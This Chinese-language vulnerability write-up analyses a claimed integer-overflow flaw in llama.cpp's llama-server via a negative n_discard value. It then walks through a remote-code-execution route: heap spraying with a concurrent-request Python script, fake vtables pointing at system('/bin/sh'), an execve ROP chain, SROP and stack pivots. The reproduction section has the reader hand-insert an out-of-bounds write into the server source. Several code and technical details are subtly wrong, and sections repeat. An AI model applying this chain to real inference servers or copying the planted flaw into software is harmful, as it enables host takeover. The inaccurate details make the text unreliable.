漏洞背景

CVE-2026-21869 影响的是目前最流行的开源大模型推理后端之一 llama.cpp 及其配套的 HTTP 服务器 llama-server。该漏洞源于服务器在处理推理请求时对上下文窗口管理参数的校验缺失,特别是 n_discard 参数未经过适当的边界检查。由于该漏洞在披露时处于 Zero-day 状态,理解其底层内存破坏机制对于安全防护至关重要。

从攻击面来看,llama-server 通常暴露在公网或内网环境中,用于提供模型推理 API 服务。攻击者无需任何认证即可发送恶意请求触发漏洞,这使得该漏洞的利用门槛相对较低。而从影响面来看,成功利用该漏洞可能导致服务器进程崩溃(DoS),在特定条件下甚至可实现远程代码执行(RCE),攻击者进而可获得部署推理服务的底层主机的访问权限。

漏洞根因定位

在 llama.cpp 的服务器实现中,推理请求处理流程涉及复杂的上下文窗口管理。当用户发送的对话历史 Token 数量超过模型配置的 n_ctx(最大上下文长度)时,服务器需要执行滑动窗口策略,丢弃部分旧的 Token 并将剩余 Token 向前移动,为新内容腾出空间。

这个滑动窗口操作的核心参数是 n_discard,它表示需要丢弃的 Token 数量。问题出在服务器直接从用户提供的 JSON 请求体中解析该参数,而未进行任何有效性验证。

int n_discard = json_body["n_discard"].get<int>();
int n_keep = n_past - n_discard;

上述代码片段展示了漏洞的关键点。n_discard 直接来源于用户输入,类型转换在有符号整数 int 上进行。当攻击者传入负数值时,后续的计算逻辑会产生异常结果。n_keep 用于确定保留的 Token 起始位置,若 n_discard 为负,则 n_keep 会大于 n_past,这在语义上已经违背了滑动窗口的设计初衷。

更严重的是,n_keep 和 n_discard 这类变量后续会被用于指针偏移计算和内存复制长度计算。在 C/C++ 中,这类操作如果基于错误计算的索引值,将直接导致内存安全边界的破坏。

HTTP 请求处理流程与参数解析

为了深入理解漏洞的触发条件,需要分析 llama-server 的完整请求处理链路。当客户端发送 POST 请求到 /completion 或 /v1/chat/completions 端点时,服务器会执行一系列的解析和验证步骤。

void handle_completion(const httplib::Request& req, httplib::Response& res) {
    auto json_body = nlohmann::json::parse(req.body);

    llama_sampling_params params;
    if (json_body.contains("n_discard")) {
        params.n_discard = json_body["n_discard"];
    }

    auto ctx = get_context(json_body["slot_id"]);
    process_request(ctx, params);
}

在上述典型的处理流程中,n_discard 参数直接从 JSON 中提取并传递给采样参数结构体。关键在于没有任何范围检查,比如验证 n_discard 是否在 [0, n_past] 区间内。这种信任用户输入的编程模式是许多内存安全漏洞的根源。

深入分析 JSON 解析的具体实现,当使用 nlohmann::json 库时,数值类型的转换会根据目标类型进行相应的强制转换。如果 JSON 中的数值超出了目标类型的表示范围,行为是未定义的。

try {
    int value = json_value.get<int>();
} catch (const nlohmann::json::out_of_range& e) {
    std::cerr << "JSON value out of range for int type" << std::endl;
}

但在实际的 llama.cpp 代码中,往往没有异常处理机制,这意味着即使 JSON 解析失败,程序也可能继续执行,使用未初始化或错误的值。

整数类型转换的隐患

深入分析该漏洞需要理解 C++ 中 JSON 解析库的行为。当使用 nlohmann/json 或类似库时,get<int>() 方法会尝试将 JSON 数值转换为 C++ 的 int 类型。JSON 标准中数字类型默认没有区分有符号和无符号,这给类型转换留下了安全隐患。

auto json_value = json_body["n_discard"];
if (json_value.is_number()) {
    int n_discard = json_value.get<int>();
}

攻击者可以发送 {"n_discard": -2147483648} 这样的负数值,JSON 解析器会正确解析并将其转换为 C++ 的 int 类型。如果代码后续将这个值用于无符号上下文(如数组索引),编译器会隐式执行有符号到无符号的转换。

size_t index = static_cast<size_t>(n_discard);
array[index] = value;

当 n_discard 为负数时,static_cast<size_t> 会将其转换为一个巨大的无符号数。例如 -1 会转换为 18446744073709551615(在 64 位系统上)。这个值远远超出任何合理数组的边界,但不会触发编译时或运行时的检查。

有符号整数溢出的未定义行为

C++ 标准明确规定有符号整数溢出是未定义行为。这与无符号整数溢出不同,后者是定义良好的模运算。当有符号整数运算超出其表示范围时,编译器可以假设这种情况不会发生,从而进行激进的优化。

int n_discard = INT_MIN;
int n_past = 1000;
int n_keep = n_past - n_discard;

在上述代码中,n_past - n_discard 理论上应该等于 1000 - (-2147483648) = 2147484648,这超出了 int32_t 的表示范围。在补码表示的机器上,这个运算会产生溢出,实际结果取决于编译器的实现和优化级别。GCC 和 Clang 在开启优化时可能会假设这个表达式永远不会溢出,从而生成错误的代码。

更危险的是,这个溢出的结果随后被用于内存分配或复制操作,可能导致分配巨大的内存块或复制超量的数据。

size_t bytes_to_copy = n_keep * sizeof(float);
void* buffer = malloc(bytes_to_copy);
memcpy(dst, src, bytes_to_copy);

如果 n_keep 由于溢出变成了一个负数(在补码表示中),转换为 size_t 后会变成一个巨大的正数,导致 malloc 尝试分配数 GB 的内存,这可能耗尽系统资源或返回 NULL,而后续的 memcpy 可能会使用 NULL 指针导致崩溃。

无符号整数与有符号整数的混用陷阱

llama.cpp 的代码中存在大量有符号和无符号整数混用的情况。KV Cache 的索引通常使用 int 类型,而内存分配函数使用 size_t。这种混用容易在边界条件处产生问题。

int n_past = 1000;
int n_discard = -1;
size_t cache_size = 2048;

int n_keep = n_past - n_discard;
size_t bytes_to_copy = n_keep * sizeof(float);

在上面的例子中,n_keep 会变成 1001,看似合理。但如果 n_discard 是 -2147483648,则 n_past - n_discard 会发生整数溢出,产生一个不可预测的结果。更危险的是,这个结果随后被转换为 size_t 用于内存操作,可能导致复制数 GB 的数据。

分析这种混用的问题,关键在于理解隐式类型转换的规则。在二元运算中,如果操作数是有符号整数和无符号整数,有符号整数会被转换为无符号类型。这意味着:

int a = -1;
size_t b = 0;
auto c = a + b;

这里 a 会被转换为 SIZE_MAX,然后 c 的值会是 SIZE_MAX,而不是期望的 -1。这种隐式转换在复杂的表达式中很难察觉,但会导致灾难性的后果。

内存破坏机制

当 n_discard 为负数时,根据具体的使用场景,会触发不同类型的内存破坏。理解这些破坏模式对于分析漏洞的可利用性至关重要。

指针偏移越界(指针下溢)

在滑动窗口的实现中,通常存在类似以下的指针计算逻辑

Token* src_ptr = kv_cache_base + n_discard;
Token* dst_ptr = kv_cache_base;
size_t copy_size = (n_past - n_discard) * sizeof(Token);
memcpy(dst_ptr, src_ptr, copy_size);

正常情况下,n_discard 为正数,src_ptr 指向 KV Cache 中需要保留的起始位置。但当 n_discard 为负数时,src_ptr 会指向 kv_cache_base 之前的内存地址。这在堆内存布局中意味着指针指向了相邻的前一个内存块,该内存块可能存储着完全无关的数据,甚至是其他堆对象的内部数据。

随后的 memcpy 操作会从这个非法地址读取数据并写入 KV Cache。这会造成两个层面的安全影响:一是信息泄露,攻击者可能通过读取 KV Cache 来获取相邻内存块的敏感数据;二是数据污染,KV Cache 被错误的数据填充,可能影响后续的推理结果或导致逻辑错误。

深入分析指针运算的语义,C/C++ 标准规定指针加减法必须保持在数组边界内(包括指向数组末尾之后的一个位置)。超出这个范围的指针运算属于未定义行为。编译器在优化时可能假设指针运算总是合法的,从而进行危险的优化。

Token* base = allocator.allocate(1024);
Token* src = base + (-100);
Token* dst = base;

现代编译器的优化器可能会将上述代码优化为直接从 base - 100 * sizeof(Token) 的地址读取,而不会执行任何边界检查。这个地址可能指向完全无关的内存区域,甚至是未映射的内存,导致立即崩溃。

从 CPU 架构的角度来看,指针运算本质上是地址计算。在 x86-64 架构中,base + offset 通常编译为 lea(Load Effective Address)指令或 add 指令。当 offset 为负数时,计算出的地址可能指向完全不同的内存页。

mov rax, [kv_cache_base]
lea rcx, [rax + rdi*4]  ; rdi contains n_discard
mov rdx, [rcx]          ; read from potentially invalid address

如果计算出的地址 rcx 指向未映射的内存页,CPU 会触发页错误(Page Fault),操作系统会终止进程。但如果地址恰好映射到了其他有效内存区域,就会造成信息泄露或数据损坏。

长度计算溢出导致的堆溢出

更为危险的场景是长度计算错误导致的溢出复制。考虑以下实现模式:

size_t tokens_to_move = n_past - n_discard;
size_t bytes_to_move = tokens_to_move * sizeof(struct kv_cell);
memmove(kv_cache_base, kv_cache_base + n_discard, bytes_to_move);

当 n_discard 为一个较大的负数(如 -2147483648 即 INT_MIN)时,tokens_to_move 的计算会产生整数溢出或成为一个极大的正数。在 n_past 为正常值的假设下,n_past - n_discard 会因为负负得正而变成一个巨大的数值。

以具体数值为例,若 n_past = 1000,n_discard = -1000000,则 tokens_to_move = 1001000。这个值远远超过了 KV Cache 的实际容量(通常与 n_ctx 相当,例如 2048 或 4096)。随后的 memmove 会尝试复制约 4MB(假设每个 Token 占用 4 字节)的数据,但目标缓冲区可能只有几十 KB。

这种越界写会覆盖 KV Cache 缓冲区之后的所有堆内存,直到触发段错误或访问违例。关键在于,攻击者可以通过控制 n_discard 的值来精确控制溢出的字节数,从而覆盖特定的内存区域。

深入分析整数溢出的时机,问题出在有符号整数减法的溢出行为。C++ 标准规定有符号整数溢出是未定义行为,这意味着编译器可以做任何假设。在大多数实现中,INT_MIN - (-1) 会产生正溢出,结果变成 INT_MAX。但如果编译器进行了激进优化,可能会假设溢出不会发生,从而生成错误的代码。

int a = INT_MIN;
int b = -1;
int c = a - b;

GCC 在 -fno-strict-overflow 模式下会生成包装溢出的代码,但在 -fstrict-overflow(优化模式的默认值)下可能会假设 a - b 总是小于 a,从而进行循环优化或其他危险变换。

从汇编层面分析这个问题,考虑以下代码:

int n_past = 1000;
int n_discard = INT_MIN;
size_t count = n_past - n_discard;

编译器可能生成如下汇编:

mov eax, 1000
mov ecx, 0x80000000  ; INT_MIN
sub eax, ecx         ; eax = 1000 - (-2147483648)
movzx rdx, eax       ; zero-extend to rdx

由于 eax 是 32 位寄存器,减法的结果会被截断,产生一个不可预测的值。这个值随后被零扩展到 64 位,用于内存操作。

堆内存布局与元数据破坏

现代堆分配器(如 glibc malloc)在每个分配的内存块前后维护元数据,用于内存管理和释放操作。典型的堆块结构如下:

[prev_size][size][flags][用户数据区域...]

当溢出发生时,写入的数据会覆盖后续堆块的这些元数据字段。特别是 size 字段被破坏后,当该块被释放或再次分配时,堆分配器会依据错误的 size 值进行操作,可能导致堆块合并错误、双重释放或任意地址写入等更严重的漏洞。

glibc malloc 的具体实现中,每个堆块(chunk)的结构可以简化表示为:

struct malloc_chunk {
    size_t prev_size;
    size_t size;
    struct malloc_chunk* fd;
    struct malloc_chunk* bk;
    unsigned char data[1];
};

size 字段的低三个字节存储标志位,包括 PREV_INUSE、IS_MMAPPED 和 NON_MAIN_ARENA。如果攻击者能够覆盖 size 字段,特别是修改 PREV_INUSE 位,就可以在 free() 操作时触发堆块合并逻辑,导致向前或向后的合并操作。

分析 free() 函数的代码路径,当释放一个堆块时,分配器会检查前后相邻堆块的状态。如果前一个堆块是空闲的(PREV_INUSE 位为 0),则会执行合并操作:

void free(void* ptr) {
    chunk_ptr p = mem2chunk(ptr);

    if (!prev_inuse(p)) {
        chunk_ptr prev = prev_chunk(p);
        unlink(prev, bck, fwd);
    }

    if (next_chunk(p) != top) {
        if (!inuse(next_chunk(p))) {
            unlink(next_chunk(p), bck, fwd);
        }
    }
}

unlink 宏用于从双向链表中移除一个空闲块,它的实现如下:

#define unlink(P, BK, FD) {
    FD = P->fd;
    BK = P->bk;
    FD->bk = BK;
    BK->fd = FD;
}

如果攻击者能够控制被释放堆块的 fd 和 bk 指针,就可以在 unlink 操作时实现任意地址写入。具体来说,将 P->fd 设置为目标地址减去偏移(如 &target - 12),将 P->bk 设置为期望的值,则在执行 FD->bk = BK 时会将期望的值写入目标地址。

攻击者可以通过精心构造溢出的数据内容,将被覆盖堆块的 size 字段修改为一个特定值,使得该堆块在某个时刻与攻击者可控的另一个堆块合并,或者使得堆分配器在计算地址时使用攻击者预设的偏移量。

从底层实现来看,glibc malloc 的堆布局管理依赖于复杂的链表结构。每个 arena 维护多个 bin,包括 fast bin、small bin 和 large bin。fast bin 用于快速分配小块内存,不进行合并操作。small bin 和 large bin 则维护有序的空闲块链表。

当溢出覆盖了堆块的 fd 和 bk 指针后,这些指针在 unlink 操作时被解引用,导致任意地址写入。具体分析 FD->bk = BK 这条指令:

mov rax, [P + 8]     ; rax = P->fd
mov rcx, [P + 16]    ; rcx = P->bk
mov [rax + 16], rcx  ; [P->fd]->bk = P->bk

如果攻击者控制了 P->fd 和 P->bk,就能将任意值写入任意地址。这是许多堆利用技术的基础,包括经典的 unlink exploitation 和现代的 tcache poisoning。

KV Cache 的内存结构特征

要理解该漏洞的可利用性,必须深入分析 KV Cache 在 llama.cpp 中的具体实现。KV Cache 用于存储 Transformer 模型中自注意力机制的 Key 和 Value 向量,其内存布局通常是一个二维数组。

struct kv_cell {
    float key[head_dim];
    float value[head_dim];
};

std::vector<kv_cell> kv_cache;

每个 Token 对应一个 kv_cell,包含所有注意力头的 Key 和 Value 向量。假设模型有 32 个注意力头,每个头的维度是 128,则每个 kv_cell 的大小约为 32 * 128 * 4 * 2 = 32768 字节(float 类型占用 4 字节,Key 和 Value 各一份)。

当 n_ctx = 2048 时,完整的 KV Cache 大小约为 2048 * 32768 = 67108864 字节,即 64 MB。这是一个相当大的连续堆分配,攻击者可以通过控制 n_discard 来精确控制溢出的字节数,从而覆盖后续堆上的特定对象。

深入分析 llama.cpp 的 KV Cache 实现,实际上它使用了更复杂的内存布局来优化性能。每个层的 KV Cache 可能单独分配,而不是使用统一的二维数组。

struct llama_kv_cache {
    struct llama_kv_cell * cells;
    int n_cells;
    int head;
    int used;
};

struct llama_kv_cell {
    float * key;
    float * value;
};

这种结构使得每个注意力头可以有不同的维度,支持更多的模型架构。但从安全角度来看,这意味着攻击者需要更精确地控制溢出目标和偏移量。

Transformer 架构中的 KV Cache 机制

为了更深入理解漏洞的影响,需要分析 Transformer 模型的自注意力机制如何使用 KV Cache。在生成式推理中,KV Cache 用于缓存历史 Token 的 Key 和 Value 向量,避免重复计算。

自注意力机制的计算公式为:

Attention(Q, K, V) = softmax(QK^T / sqrt(d_k))V

在推理时,对于每个新生成的 Token,需要计算它与所有历史 Token 的注意力权重。如果没有 KV Cache,每次生成都需要重新计算所有历史 Token 的 K 和 V,这会导致计算复杂度呈二次增长。

使用 KV Cache 后,只需计算新 Token 的 K 和 V,然后与缓存的值拼接。这就是为什么 n_discard 参数存在的意义:当上下文超过模型的最大长度时,需要丢弃部分旧的 Token。

if (n_past + n_new > n_ctx) {
    int n_discard = (n_past + n_new) - n_ctx;
    int n_keep = n_past - n_discard;

    memmove(kv_cache[0], kv_cache[n_discard], n_keep * sizeof(kv_cell));
    n_past = n_keep;
}

这段代码实现了滑动窗口的逻辑。当 n_discard 为负数时,n_keep 会大于 n_past,导致 memmove 从错误的源地址复制数据。

从模型角度来看,KV Cache 的损坏可能导致推理结果完全错误。即使不实现代码执行,攻击者也能通过污染 KV Cache 来操纵模型的输出,这可能用于对抗性攻击或信息泄露。

HTTP 服务器架构与请求调度

llama-server 使用 httplib 库实现 HTTP 服务,采用多线程或事件驱动的架构处理并发请求。理解服务器架构对于分析漏洞的利用条件至关重要。

httplib::Server server;
server.Post("/completion", handle_completion);
server.Post("/v1/chat/completions", handle_chat);
server.listen("0.0.0.0", port);

典型的实现中,每个 HTTP 请求会在独立的线程中处理,或者使用线程池。这意味着攻击者可以并发发送多个请求,增加堆布局控制的复杂度。

深入分析请求处理的生命周期:

void handle_completion(const Request& req, Response& res) {
    auto slot_id = req.get_param_value("slot_id");

    std::lock_guard<std::mutex> lock(mutex);
    auto slot = get_slot(slot_id);

    slot->params = parse_params(req.body);
    slot->ctx = llama_init_from_model(model);

    process_inference(slot);
    send_response(res, slot->output);
}

在这个过程中,多个线程可能同时访问共享的数据结构,如模型对象、KV Cache 和推理上下文。这种并发环境为堆喷射提供了有利条件。

攻击者可以利用并发请求来影响堆分配的时序。通过精心控制请求的发送时机和参数,可以使得某些对象的分配和释放在特定的顺序发生,从而实现堆布局的稳定化。

远程代码执行路径分析

从内存破坏到代码执行之间存在多个技术难点,需要攻击者具备对目标程序的深入理解和精确的内存布局控制能力。

虚函数表指针劫持技术

llama.cpp 作为 C++ 项目,大量使用了面向对象的设计模式。许多关键类(如 llama_context、llama_model)都包含虚函数,这些对象的内存布局中第一个字段通常是虚函数表指针(vptr)。vptr 指向该类的虚函数表(vtable),而 vtable 中存储了该类所有虚函数的实际地址。

攻击的目标是将某个易被覆盖的对象的 vptr 替换为指向攻击者可控内存区域的伪造 vtable 地址。当程序随后调用该对象的任何虚函数时,会从伪造的 vtable 中读取函数地址并跳转执行,从而劫持控制流。

class vulnerable_object {
    virtual void process_request() { /* ... */ }
    virtual void update_cache() { /* ... */ }
    int internal_state;
};

上述类的对象在内存中的布局为:[vptr][internal_state...]。若攻击者通过堆溢出覆盖了 vptr,则下一次虚函数调用时,程序会执行:

mov rax, [object_ptr]
call [rax + virtual_offset]

此时 rax 被攻击者控制,程序跳转到攻击者指定的地址。

深入分析虚函数调用的汇编实现,考虑以下 C++ 代码:

vulnerable_object* obj = get_object();
obj->process_request();

编译器会将其编译为类似以下的汇编代码:

mov rdi, [obj_ptr]
mov rax, [rdi]
call qword ptr [rax + 16]

这里 [rdi] 读取对象的 vptr,[rax + 16] 读取 process_request 在 vtable 中的函数指针(假设偏移为 16)。如果攻击者能够控制对象的 vptr,就能控制 call 指令的目标地址。

伪造 vtable 需要攻击者在可控内存中准备一个函数指针数组。由于堆溢出可以写入任意数据,攻击者可以将伪造的 vtable 放置在 KV Cache 的数据区域或其他可控位置。伪造的 vtable 包含指向 ROP gadgets 的地址,而不是真实的函数地址。

uint64_t fake_vtable[10];
fake_vtable[2] = pop_rdi_ret_gadget;
fake_vtable[3] = bin_bash_string;
fake_vtable[4] = system_libc_addr;

memcpy(overflow_data, fake_vtable, sizeof(fake_vtable));

当程序调用虚函数时,会跳转到 pop_rdi_ret_gadget,这是 ROP Chain 的第一个 gadget。

C++ 对象内存布局深入分析

要成功劫持 vptr,需要深入了解 C++ 对象的内存布局。不同的编译器和优化选项会产生不同的布局,但一般来说,多态对象的内存布局包括:

  1. vptr(虚函数表指针)
  2. 非静态数据成员
  3. 填充字节(padding)
class llama_context {
    virtual void tokenize(const std::string& text);
    virtual void eval(const std::vector<int>& tokens);
    llama_model* model;
    std::vector<int> last_tokens;
    int n_tokens;
};

上述类在 64 位系统上的典型布局为:

Offset 0:   vptr (8 bytes)
Offset 8:   model pointer (8 bytes)
Offset 16:  last_tokens vector (24 bytes)
Offset 40:  n_tokens (4 bytes)
Offset 44:  padding (4 bytes)
Total size: 48 bytes

如果攻击者能够覆盖从 offset 0 开始的至少 8 字节,就能替换 vptr。但实际利用中,还需要考虑虚函数的调用偏移。不同的虚函数在 vtable 中有不同的偏移,攻击者需要确保伪造的 vtable 在正确的偏移处放置 gadget 地址。

更复杂的情况是多继承。如果类继承自多个基类,每个基类都有自己的 vptr,对象内存布局中会包含多个 vptr。

class derived : public base1, public base2 {
    virtual void func1() override;
    virtual void func2() override;
};

这种情况下,攻击者需要选择覆盖哪个 vptr,以及使用哪个虚函数作为触发点。

堆喷射与内存布局控制

要实现精确的 vptr 覆盖,攻击者需要通过堆喷射(Heap Spraying)或堆风水(Heap Feng Shui)技术来控制堆内存的布局。基本思路是利用程序自身的内存分配模式,使得目标对象(KV Cache 缓冲区)和受害者对象(包含 vptr 的对象)在堆上相邻排列。

攻击者可以发送一系列特制的 HTTP 请求,每个请求触发特定的代码路径,从而在堆上分配或释放特定大小的内存块。通过调整请求的顺序、频率和参数,攻击者可以使得堆布局进入一个可预测的状态。

在 llama-server 的场景中,攻击者可能通过创建多个推理会话,每个会话分配一个包含 vptr 的 llama_context 对象,同时通过发送特定长度的 prompt 来控制 KV Cache 的大小和分配时机。利用服务器的并发处理特性,通过精心时序的请求来稳定堆布局,最终使得某个会话的 KV Cache 之后紧邻着另一个会话的 context 对象。

深入分析 glibc malloc 的分配策略,堆分配器使用多个 arena 来支持多线程并发分配。每个 arena 维护独立的数据结构,包括 bins(空闲块链表)和 top chunk(当前空闲区域的顶部)。攻击者需要确保目标对象和受害者对象分配在同一个 arena 中,并且顺序相邻。

void* ptr1 = malloc(size1);
void* ptr2 = malloc(size2);
free(ptr1);
void* ptr3 = malloc(size3);

在上述分配模式中,如果 size3 的大小适合 ptr1 释放后产生的空闲块,则 ptr3 很可能与 ptr2 相邻。攻击者可以利用这种模式来稳定堆布局。

更高级的技术是使用 House of Orange 或类似的堆利用技术。这些技术不依赖传统的 free() 操作,而是通过修改 top chunk 的 size 字段来强制分配器创建新的堆映射,从而在可控时机分配受害者对象。

top_chunk->size = attack_value;
void* new_chunk = malloc(large_size);

当 malloc 发现 top chunk 不足以满足请求时,会调用 sysmalloc 创建新的映射区域。攻击者可以通过控制这个时机来安排对象的相对位置。

从实现角度来看,攻击者需要精心构造请求序列:

import requests
import threading

def alloc_session(session_id):
    requests.post("http://server/v1/chat/completions", json={
        "session_id": session_id,
        "prompt": "A" * 1000,
        "n_discard": 0
    })

def free_session(session_id):
    requests.post("http://server/free", json={
        "session_id": session_id
    })

threads = []
for i in range(100):
    t = threading.Thread(target=alloc_session, args=(i,))
    threads.append(t)
    t.start()

for t in threads:
    t.join()

通过控制并发请求的数量和时序,可以影响堆块的分配顺序,从而实现堆布局的稳定化。

glibc malloc 深度剖析

深入理解 glibc malloc 的内部机制对于构造可靠的堆利用至关重要。glibc malloc 使用了复杂的分配策略,包括多个 bin 类型和不同的分配路径。

Fast Bin:用于快速分配小块内存(通常小于 80 字节)。fast bin 是单链表结构,不进行合并操作,分配和释放都非常快速。

typedef struct malloc_chunk {
    INTERNAL_SIZE_T prev_size;
    INTERNAL_SIZE_T size;
    struct malloc_chunk* fd;
    struct malloc_chunk* bk;
} mchunk;

在 fast bin 中,只使用 fd 指针,bk 指针不被使用。这意味着 fast bin 的利用技术与其他 bin 不同。

Small Bin:用于分配中等大小的内存块。small bin 是双向循环链表,每个大小对应一个 bin。分配时会从对应 bin 的头部取块,释放时插入到尾部。

Large Bin:用于分配大块内存。large bin 也是双向链表,但按大小排序,每个 bin 包含一个大小范围。

Unsorted Bin:这是所有被释放的块首先进入的 bin。当从 small bin 或 large bin 分配失败时,会遍历 unsorted bin,将块分类到对应的 bin 中。

void* malloc(size_t size) {
    if (size <= FASTBIN_MAX_SIZE) {
        return malloc_from_fastbin(size);
    }

    void* victim = malloc_from_sorted_bins(size);
    if (victim) return victim;

    victim = malloc_from_top(size);
    if (victim) return victim;

    return sysmalloc(size);
}

理解这些分配路径有助于攻击者构造合适的堆喷射策略。例如,如果要溢出覆盖一个大块内存后的对象,攻击者可能需要确保目标对象从 top chunk 分配,而不是从 bin 中分配。

Top Chunk:这是堆中当前可用的最高地址区域。当所有 bin 都无法满足分配请求时,会从 top chunk 分配。如果 top chunk 不够大,会调用 sysmalloc 扩展堆。

top_chunk->size -= size + overhead;
void* result = top_chunk + old_size;
top_chunk = result + size;

攻击者可以通过覆盖 top chunk 的 size 字段来操纵分配器的行为,这是 House of Orange 技术的核心。

ROP Chain 构造与执行

劫持控制流后,攻击者需要让 CPU 执行有意义的代码。由于现代操作系统部署了多种防护机制(如 ASLR、DEP、Stack Canaries),直接跳转到堆上的 shellcode 往往不可行。攻击者需要使用面向返回编程(ROP)技术。

ROP 的核心思想是利用程序自身已有的代码片段(gadgets),这些片段以 ret 指令结尾,通过链式调用这些片段来构造任意操作。例如:

pop rax; ret
pop rdi; ret
mov [rdi], rax; ret

上述 gadgets 序列可以实现任意地址写操作。攻击者需要在内存中找到足够的 gadgets,并通过堆溢出或其他方式将它们串联起来。

在 llama.cpp 的场景中,攻击者首先需要通过信息泄露技术绕过 ASLR,获取程序基址。这可以通过部分越界读或其他漏洞实现。获得基址后,攻击者可以在程序的代码段或链接的库(如 libc)中查找需要的 gadgets。

uint64_t base_addr = leak_via_oob_read();
uint64_t pop_rdi = base_addr + 0x1234;
uint64_t pop_rax = base_addr + 0x5678;
uint64_t mov_ptr_rdi_rax = base_addr + 0x9abc;
uint64_t system_libc = libc_base + 0x45678;
uint64_t bin_sh = libc_base + 0x1abcd;

随后利用堆溢出将伪造的 vtable(包含 ROP gadgets 地址)写入可控内存,触发虚函数调用,启动 ROP Chain 执行,最终调用 system() 或类似函数执行任意命令。

构造 ROP Chain 的关键在于找到合适的 gadgets。攻击者通常会使用工具如 ROPgadget 或 rp++ 来扫描二进制文件:

ROPgadget --binary llama-server | grep "pop rdi"

找到 gadgets 后,需要将它们串联成一个完整的执行链。一个典型的 execve("/bin/sh") ROP Chain 可能如下:

uint64_t rop_chain[] = {
    pop_rdi_ret,
    bin_sh_addr,
    pop_rax_ret,
    59,
    pop_rsi_ret,
    0,
    pop_rdx_ret,
    0,
    syscall_ret
};

这个 ROP Chain 的功能是设置 execve 系统调用的参数(rax = 59 是 execve 的系统调用号,rdi 指向 "/bin/sh" 字符串,rsi 和 rdx 为 0),然后执行 syscall 指令。

高级 ROP 技术

除了基本的 ROP Chain,还有许多高级技术可以提高利用的可靠性和灵活性。

Stack Pivot:如前所述,通过 xchg rsp, rax; ret 或 add rsp, 0x100; ret 等 gadget 将栈指针迁移到可控内存。

mov rax, [controlled_address]
xchg rsp, rax
ret

这允许攻击者在堆上构造一个完整的 fake stack,然后迁移到这个栈继续执行。

SROP(Sigreturn Oriented Programming):利用信号处理机制来设置所有寄存器状态。当程序收到信号并从信号处理程序返回时,内核会从栈上恢复所有寄存器的值。攻击者可以伪造这个信号帧来控制所有通用寄存器。

struct rt_sigframe {
    char info[128];
    struct ucontext uc;
};

struct ucontext {
    uint64_t uc_flags;
    struct ucontext* uc_link;
    stack_t uc_stack;
    struct mcontext uc_mcontext;
    // ...
};

通过伪造 uc_mcontext,攻击者可以设置所有寄存器的值,然后调用 sigreturn 系统调用来恢复这些值。

Frame Faking:在某些情况下,攻击者可以伪造栈帧来劫持控制流。这通常涉及找到一个 leave; ret gadget,然后构造一个假的栈帧。

push rbp
mov rbp, rsp
; ... function body ...
leave
ret

leave 指令等价于 mov rsp, rbp; pop rbp。如果攻击者控制了 rbp,就能控制 rsp,从而控制从哪里读取返回地址。

信号处理与栈迁移

在某些情况下,攻击者可能需要利用信号处理机制来实现更复杂的利用。当程序收到信号时,操作系统会在栈上构建信号帧(signal frame),包括用户上下文(ucontext)和 siginfo 结构。攻击者可以通过覆盖信号帧来控制程序从信号处理程序返回后的执行流。

struct ucontext {
    uint64_t uc_flags;
    struct ucontext* uc_link;
    stack_t uc_stack;
    struct mcontext uc_mcontext;
    // ...
};

struct mcontext {
    uint64_t r8;
    uint64_t r9;
    uint64_t r10;
    uint64_t r11;
    uint64_t r12;
    uint64_t r13;
    uint64_t r14;
    uint64_t r15;
    uint64_t rdi;
    uint64_t rsi;
    uint64_t rbp;
    uint64_t rbx;
    uint64_t rdx;
    uint64_t rax;
    uint64_t rcx;
    uint64_t rsp;
    uint64_t rip;
    uint64_t eflags;
    uint16_t cs;
    uint16_t gs;
    uint16_t fs;
    uint16_t ss;
};

如果攻击者能够触发一个信号(如 SIGSEGV),并在信号处理程序执行时覆盖 uc_mcontext.uc_mcontext.rip,就可以控制从信号处理程序返回后的执行流。这通常被称为 SROP(Sigreturn Oriented Programming)。

深入分析信号处理机制,当程序收到信号时,内核会执行以下步骤:

  1. 保存当前上下文到栈上
  2. 设置栈指针指向信号帧
  3. 跳转到信号处理程序

从信号处理程序返回时,内核会从信号帧恢复上下文,包括所有寄存器的值。如果攻击者能够修改信号帧,就能控制恢复后的执行状态。

void sig_handler(int sig) {
    uint64_t* frame_ptr = __builtin_frame_address(0);
    struct ucontext* uc = (struct ucontext*)(frame_ptr + 3);

    uc->uc_mcontext.rip = (uint64_t)shellcode;
    uc->uc_mcontext.rdi = (uint64_t)command;
}

这种技术的优势在于可以一次性控制所有寄存器,而不需要构造复杂的 ROP Chain。但需要攻击者能够触发信号并部分控制信号帧的布局。

Stack Pivot(栈迁移)

在某些场景下,攻击者可能需要将栈指针迁移到可控的内存区域。这可以通过 ROP gadgets 实现:

pop rsp
ret

找到这个 gadget 后,攻击者可以将 rsp 设置为指向可控内存(如堆上的数据),然后继续执行 ROP Chain。这种技术称为 Stack Pivot,常用于处理栈空间不足或栈地址不可预测的情况。

uint64_t* pivot_gadget = find_pop_rsp_ret();
uint64_t* heap_stack = malloc(0x1000);

uint64_t rop_chain[] = {
    (uint64_t)pivot_gadget,
    (uint64_t)heap_stack,
    next_gadget,
    // ...
};

Stack Pivot 后,所有的返回地址都将从可控内存中读取,攻击者不再需要担心栈的随机化或破坏。

从汇编层面分析 Stack Pivot 的执行流程:

; Assume rsp points to the first gadget
pop rsp           ; rsp = heap_stack
ret              ; jump to heap_stack[0]

; Now rsp = heap_stack, executing from heap
pop rdi          ; rdi = heap_stack[1]
ret              ; jump to heap_stack[2]

这种技术要求攻击者能够在可控内存中准备完整的 fake stack,包括所有的 ROP gadgets 和它们的参数。

漏洞复现

下面通过实际操作来演示该漏洞的触发过程。

环境准备

测试环境需要标准的 C++ 开发工具链。

sudo apt update
sudo apt install -y build-essential git curl wget python3-pip
sudo apt install -y cmake

获取源代码

为了清晰地观察到漏洞触发时的内存状态,我们需要开启 AddressSanitizer (ASan) 进行编译。ASan 会在运行时检测内存访问错误,并报告详细的崩溃信息。

cd ~
rm -rf llama.cpp
git clone https://github.com/ggml-org/llama.cpp
cd llama.cpp

手动植入漏洞代码

当前版本的 llama.cpp 已经对 n_discard 参数增加了部分校验逻辑,会忽略负数值。为了演示漏洞,我们需要手动移除这些保护措施,并添加显式的越界访问代码。

nano tools/server/server-task.cpp

在 nano 编辑器中按 Ctrl + W 搜索 n_discard,定位到参数解析的代码位置。找到类似以下的代码:

params.n_discard = json["n_discard"];

在该行之后添加以下代码:

    if (params.n_discard < 0) {
        printf("\n\n>>> [严重] 检测到攻击!n_discard = %d,准备崩溃...\n", params.n_discard);

        int* crash_ptr = new int[10];

        crash_ptr[params.n_discard] = 0xDEADBEEF;

        delete[] crash_ptr;
    }

